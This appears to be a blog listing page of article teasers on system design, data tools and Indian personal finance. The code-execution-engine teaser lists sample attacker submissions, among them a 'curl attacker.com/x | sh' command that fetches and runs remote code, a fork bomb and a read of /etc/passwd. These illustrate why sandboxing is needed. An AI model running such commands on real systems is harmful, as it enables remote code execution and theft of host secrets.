Design a Vector Search Engine - System Design

Everyone builds vector search the same way the first time: load the embeddings into a list, and for each query compute the cosine similarity against every vector, then sort and take the top 10. It works on ten thousand vectors. Then the interviewer makes it the real problem: a billion 768-dimensional embeddings, a query vector has to come back with its approximate nearest neighbors in under 50ms, new vectors are upserted continuously and must be searchable within a second, the index is far too big to keep fully in RAM on one machine, and recall (how many of the true nearest neighbors you actually return) must stay above 95% even as you shard across memory-constrained nodes. ...

35 min

DuckDB Makes Pandas Feel Like the Wrong Tool for Most Data Work

Most of the pandas code I have written over the years did one thing: load a file, filter some rows, group by a column, aggregate, sort, write a result. That is an analytical query. Pandas just happens to be a clumsy, memory-hungry way to express it. DuckDB expresses the same thing in SQL, runs it on a columnar engine, and does it without loading the whole file into memory first. On the queries that make up the bulk of real data work, it beats pandas by 10 to 50 times and does not fall over when the file is bigger than your RAM. If you touch any dataset over 1 GB, this is the tool you should reach for first. ...

10 min

ULIP You Bought in 2021: Surrender Now or Wait for Year 5 - Running the Charge Schedule Math

The honest advice you will hear is “wait for year 5, the surrender charge drops to zero, so never pay it.” It sounds obvious. It is also only half the math, and the half it skips is the half that actually costs you money. The surrender charge is a one-time cliff. The fund management charge and the mortality charge are a tax you pay every single year you stay. Whether waiting beats surrendering depends entirely on which of those two numbers is bigger, and most people never put them side by side. ...

10 min

Debezium Is the Missing Piece in Your Event-Driven Architecture

Most teams that adopt Kafka still poll their database. They stand up topics, wire up consumers, feel good about being event-driven, and then quietly run a cron job every 30 seconds that does SELECT * FROM orders WHERE updated_at > :last_seen to catch anything the event path dropped. That polling loop is a confession. It means nobody trusts the events to be complete, so the database is still the source of truth and Kafka is a cache that might be stale. ...

13 min

Design a Container Orchestration System - System Design

Everyone thinks a container orchestrator is a scheduler with a for-loop. “Keep a list of nodes, keep a list of containers, assign each container to the node with the most free memory, SSH in and docker run it - it is bin-packing plus a deploy script.” That mental model survives exactly until the interviewer asks the questions that turn it into a real distributed system: a node goes silent for thirty seconds - is it dead, or is it alive and healthy but partitioned from the control plane behind a flaky switch? If you reschedule its containers onto other nodes and the node was actually alive, you now have two copies of a workload that was supposed to have one, both writing to the same database. You push a new version of a service that has forty running replicas - how do you replace all forty without a single second where zero of them are serving traffic, and how do you stop the rollout automatically the moment the new version starts crash-looping? The scheduler places a container on a node and sends the “run this” command, but the network drops the acknowledgment - did it start or not, and if you retry, do you now have two? Ten thousand nodes all report their status every ten seconds - does the control plane fall over under a million status writes a minute? ...

41 min

Design a Multi-Tenant SaaS Platform - System Design

“Design a multi-tenant SaaS platform” sounds like “build an app and add a tenant_id column.” Say that in an interview and the follow-ups arrive immediately. “One tenant is a 50,000-seat bank with a compliance team that will audit whether their rows can ever be read by another tenant; the next is a 3-person startup on a free trial. Both run on the same servers and the same database cluster. How do you guarantee the bank’s data is isolated?” “Tenant A ships a CSV import that fires 40,000 writes in a minute - how does tenant B not notice?” “Each tenant has its own feature flags, SSO config, custom fields, data-residency region, and rate-limit tier. Where does that config live and how is it loaded on every request without a round trip?” “A single tenant grows to 80% of your largest shard. What now?” ...

30 min

Design a Serverless Functions Platform - System Design

Everyone thinks serverless is simple. “You upload a function, we run it when an event comes in, you pay per request - it is a glorified cron plus an HTTP handler.” That mental model survives exactly until you ask the two questions that actually define the system. First: when a request arrives for a function that has zero running instances - because it has not been called in an hour and you scaled it to nothing - where does the code run, and how fast can you get a sandboxed, isolated execution environment up and warm? That is the cold start, and if it takes two seconds the product is dead on arrival. Second: you are not hosting one customer’s function, you are hosting millions of distinct functions from hundreds of thousands of tenants, almost all idle at any instant, and you have a finite fleet of machines. How do you keep enough environments warm to make cold starts rare, without dedicating a machine to every function (you would need millions of idle machines and go bankrupt), while fairly sharing those warm environments so one customer’s traffic spike does not starve everyone else? That is the real system: a warm-pool multiplexing problem over a shared, oversubscribed fleet. ...

35 min

Health Insurance Portability: What Your NCB Reset Actually Costs and When to Port Anyway

Every portability guide tells you the same reassuring thing: when you switch health insurers, IRDAI rules force the new company to credit the waiting period you have already served, so your pre-existing disease (PED) clock does not restart. True, and genuinely valuable. But it is also the part that distracts you from the expensive part. Here is what almost nobody puts a number on. Your No Claim Bonus (NCB) - the free extra cover you earned by not claiming, which can quietly turn a Rs. 5 lakh base policy into Rs. 7.5 lakh of effective cover - does not port in most cases. At a large share of Indian insurers it resets to zero the moment you switch. So you can chase a Rs. 4,000-a-year cheaper premium and unknowingly hand back Rs. 2.5 lakh of accumulated cover to do it. ...

10 min

Cursor vs Claude Code - Which AI Editor Actually Ships More Code in 2026

Pick the wrong AI editor and you will not notice for about three weeks. Then one of two things happens: either you are fighting the tool to stay out of your way, or you are babysitting an agent that keeps confidently rewriting files you did not ask it to touch. The Cursor vs Claude Code debate is genuinely close in 2026, and most of the “X is better” takes online are useless because they never say better at what. ...

11 min

Design a Real-Time Bidding Platform - System Design

Most people picture a bidding platform as “a server that gets an ad request and says yes or no.” The interviewer lets that sit, then stacks the constraints that make it a genuinely hard system. You are not the exchange, you are the bidder - the demand side - connected to a dozen ad exchanges that each fire you a bid request for every impression they auction. The exchange gives you a hard deadline: reply within roughly 100 milliseconds end to end including the network, or your bid is simply discarded and someone else wins. For every one of those requests you have to look up who the user is (their segments, their recent behavior, their frequency caps) in a fraction of a millisecond, evaluate every one of an advertiser’s live targeting and bid rules against that profile, decide whether to bid and how much, and do it while making sure you never spend more than each campaign’s budget - a budget that is being drained simultaneously by bidders in three other data centers responding to the same campaign. A real-time bidding platform is not a yes/no server. It is a globally budget-constrained, sub-100ms decision engine that joins a live user profile to a set of advertiser rules on every single exchange request, at a scale of millions of requests per second - and the bid it returns is just the output. ...

35 min

Design a Workflow Orchestration Engine - System Design

Everyone thinks a workflow engine is a topological sort with a thread pool. “Build the DAG, sort it, run tasks whose dependencies are done, repeat - it is a graph traversal, two hundred lines.” That model survives exactly until the interviewer asks the questions that turn it into a real system: your scheduler process crashes forty minutes into a three-hour pipeline that has already finished eleven of fifteen tasks - when it comes back up, does it re-run those eleven (re-charging customers, re-sending the report, double-writing the warehouse) or does it know they are done and resume from task twelve? Two scheduler replicas both decide task transform is ready at the same instant - does it get dispatched to the worker pool once or twice? Task load depends on extract_a and extract_b; extract_b fails three times and dead-letters - does load hang forever waiting, or does the DAG mark it upstream_failed and alert someone? You have ten thousand DAGs, each with hundreds of tasks, all scheduled to kick off at midnight - does the scheduler fall over trying to evaluate every dependency edge at the top of the hour? ...

34 min

Design an Online Code Execution Engine - System Design

Everyone thinks running user code is easy. “Take the code, shell out to python submission.py, capture stdout, compare it to the expected output - it is a subprocess.run call.” That mental model survives exactly until you remember the code is written by a stranger on the internet who is actively trying to break out. The “submission” is import os; os.system('curl attacker.com/x | sh'). Or while True: pass to burn your CPU forever. Or fork() in a loop to exhaust every process slot on the box. Or open('/etc/passwd').read() to read your host’s secrets. Or a 10 GB [0] * 10**9 allocation to OOM the machine. Or it opens a socket to your internal metadata endpoint and steals cloud credentials. The naive subprocess.run runs all of that with the privileges of your service, on your host, with your network. It is not a code runner, it is a remote shell you handed to the entire internet. ...

33 min

NPS 80CCD(1B) Rs 50K Deduction: The Annuity Tax That Eats Back Your Savings in 7 Years

The Rs 50,000 extra deduction under Section 80CCD(1B) is the single most-pitched reason to open an NPS Tier 1 account. Your HR slide shows it, your tax-saving app pushes it in March, and the headline is always the same: an extra Rs 15,600 off your tax bill at the 30% slab, on top of 80C. Free money. It is not free. It is a loan the government quietly claws back at 60, and the interest is paid in annuity tax for the rest of your life. Almost nobody runs that second half of the arithmetic. Let us run it properly, because once you do, the “obvious” Rs 50,000 deduction stops looking obvious for a large group of people. ...

9 min

dbt Is the Tool That Makes Your Data Team Stop Writing Spaghetti SQL

Walk into most data teams and ask where the “revenue” number comes from. You will get three different answers, two of which are wrong, and nobody will be able to tell you which one the CFO’s dashboard uses. The query that produces it lives in a Looker dashboard, or a notebook, or a Slack thread from eight months ago, and it has a WHERE status != 'test' filter that someone added once and never documented. ...

11 min

Design a Service Discovery and Registry System - System Design

In a monolith, “call the inventory module” is a function call. In a fleet of 800 microservices spread over 15,000 instances that scale up and down, crash, get rescheduled, and move IPs every few minutes, “call the inventory service” is a surprisingly hard question: which of the inventory instances are alive right now, and what are their addresses? Hardcoding IPs is a non-starter - an autoscaler churns them constantly. A static load balancer in front of every service is operationally heavy and hides the health signal you actually need. The clean answer is a service discovery and registry system: a live, queryable map from a logical service name to the set of currently-healthy instances backing it. ...

26 min

Design a Time-Series Database - System Design

A time-series database looks like the easiest database to build and is one of the hardest to build well. The data is trivial: a name, some tags, a timestamp, a number. No joins, no foreign keys, no complex transactions. So the interviewer says “store metrics and let me query them” and you reach for a table (series, ts, value) with an index, and it works beautifully for a week of one host. Then the real shape shows up: millions of writes per second that never stop, timestamps that march forward almost perfectly evenly, values that barely change between samples, queries that almost never fetch a single point and almost always aggregate a range (“average CPU over the last 6 hours, per host”), data that must live for months without bankrupting you, and a requirement that a range-aggregate over that history return in milliseconds. The naive table dies on every one of those axes at once. ...

31 min

Design a Transactional Email Delivery Service (like SendGrid) - System Design

“Send an email” is one API call. Then you ask the real questions. Who signs the message so Gmail does not dump it in spam? Which IP address does it go out on, and what happens to every other customer on that IP when one of them sends garbage and gets it blocklisted? What do you do when Yahoo’s MX server answers “451 try again later” - retry now, retry in an hour, give up? When the recipient clicks “this is spam,” how do you ever find out, and how do you stop mailing them? How do you know the message was even opened? A transactional email service is not a mail-send function. It is a distributed SMTP sending plant whose actual product is deliverability - getting mail into the inbox, not the spam folder, not bounced - at a scale where you are sending billions of messages a day through thousands of receiving mail servers you do not control, on a pool of IP addresses whose reputation is a shared, fragile, slowly-earned asset. ...

33 min

Unlisted Shares and IPO Timing: The LTCG Holding Period Confusion That Costs Rs 5 Lakh

The most expensive sentence a pre-IPO investor says out loud is “great, the company finally listed, so now I just hold for twelve months from the listing day and I get the long-term rate.” That sentence is wrong on both ends, and on a serious position it is wrong by nearly Rs 5 lakh. The clock does not reset when your company lists. The tax department recorded the day you bought the shares and it never forgets that date, no matter how many corporate events happen afterwards. ...

11 min

Buying SGBs from Secondary Market at a Discount: Is the Yield Math Actually Better

Here is the trade that looks like free money: an SGB tranche on the NSE quotes at Rs 11,400 when the gold it represents is worth Rs 12,000. You pay 5% below the metal, you still collect the 2.5% coupon, and if you hold it to maturity your capital gain is tax-free. Buy gold at a discount to gold. What is the catch? There are two catches, and nobody who pitches this trade mentions either. The first is that the “2.5% coupon” is not 2.5% of what you pay, it is 2.5% of what the original buyer paid years ago, which is often half of today’s price. The second is that whether the discount actually beats a plain fresh issue depends entirely on what gold does next. The discount is real and it is worth having. It is just not the slam dunk the yield-hunters make it out to be. This post works the arithmetic to the last rupee so you can see exactly where the edge is and where it evaporates. ...

11 min

Design a Coupon and Promo Code Service - System Design

“Design a coupon service” sounds like a CRUD table with a discount_percent column until you write down what actually breaks it. Marketing wants to print 10 million unique codes for a Diwali campaign, mail them out, and have each one usable exactly once. The rules are not simple: this code is 20% off, that one is flat 500 off orders over 2000, this batch is one-per-customer across the customer’s lifetime, that batch stacks with free shipping but not with other percentage coupons. And the whole thing has to answer POST /checkout in a few milliseconds during a flash sale when 200,000 people hit “apply code” in the same minute, because the coupon check sits directly on the critical path to revenue. ...

27 min